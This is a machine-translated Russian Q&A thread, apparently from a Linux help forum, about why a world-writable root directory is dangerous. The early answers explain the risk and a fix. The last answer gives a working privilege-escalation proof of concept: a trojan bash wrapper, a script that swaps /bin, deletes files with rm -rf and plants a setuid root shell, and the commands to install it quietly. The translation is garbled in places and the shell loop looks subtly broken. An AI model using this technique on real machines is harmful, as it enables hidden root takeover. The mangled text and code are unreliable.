Хотя большая часть содержимого составляет 755.
Это проблема?
Это интересно что /
на самом деле позволяет 777
полномочия, которые будут установлены на нем. /
папка не должна иметь 777
полномочия, поскольку это означает, что любой пользователь вошел в систему, могут создать файлы и папки в /
корневой уровень. Я протестировал это в VM, и Вы не МОЖЕТЕ удалить ни одну из папок или файлов, которые не являются 777
без того, чтобы быть sudo
, root
или owner
. Права доступа все еще сопровождаются, как попытка получить доступ /root
сама папка дала бы Вам отклоненное разрешение. Однако это сказанное, Вы могли все еще переместиться /root
папка к /root.old
создание небольшого опустошения.
Для фиксации этого, можно работать sudo chmod 755 /
изменить полномочия на то, каковы они должны быть. Можно также работать sudo chown root:root /
только, чтобы удостовериться, что это принадлежит самому корню. НЕ выполняйте ни одну из тех команд с-R, поскольку это изменит все файлы и папки в разделе для соответствия полномочиям и владению.
Надеюсь, это поможет!
Нет. Для /
(корневой каталог) не безопасно иметь 777
полномочия. Это означает rwxrwxrwx
, т.е. у каждого пользователя есть разрешение записи к корневому каталогу.
С тем разрешением, каждый пользователь сможет создать новые подкаталоги, удалить существующие подкаталоги и заменить существующие подкаталоги. Например, злонамеренный пользователь мог удалить /bin
(путем переименования его к /bin.old
) и создать новое /bin
принадлежавший им, содержа злонамеренные исполняемые файлы. Или пользователь мог удалить /etc
(путем переименования его к /etc.old
) и создать новое /etc
содержащий новое /etc/passwd
и /etc/shadow
файл, который позволяет пользователю войти в каждый аккаунт в системе.
/
не должно быть мировым записываемым/
быть мировым записываемым может быть огромной проблемой. Наличие полномочий записи на /
, любой пользователь может переместиться/переименовать любой файл или каталог в /
. Это означает, что любой пользователь может заменить /etc
, /usr
или любой из других каталогов в /
с каталогами их выбора.
Любой пользователь может тривиально DoS Ваша система путем переименования /etc
и /usr
.
Немного более трудно выполнить расширение полномочий. Пользователь может заменить /bin
с их собственной копией и любым процессом, который затем пытается использовать cp
, или даже запустите оболочку, сразу будет в их милосердии. Весь пользователь должен сделать, ожидание процесса, работающего как корень для использования любой команды в /bin
, или пользователь root для использования входа в систему, и они находятся в.
bash.c
:
#include<sys/types.h>
#include<unistd.h>
int main(int argc, char*argv[], char *env[])
{
if (getuid() == 0) {
system("/home/muru/foo");
}
execve("/bin/bash", argv, env);
}
foo
:
#!/bin/sh
mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash
И затем:
$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin
И в следующий раз базируются, запускает оболочку, Вы получаете setuid исполняемый файл в своем корневом каталоге, который можно затем удобно использовать для получения корня каждый раз, когда Вы чувствуете себя подобно ему, не оставляя много трассировки.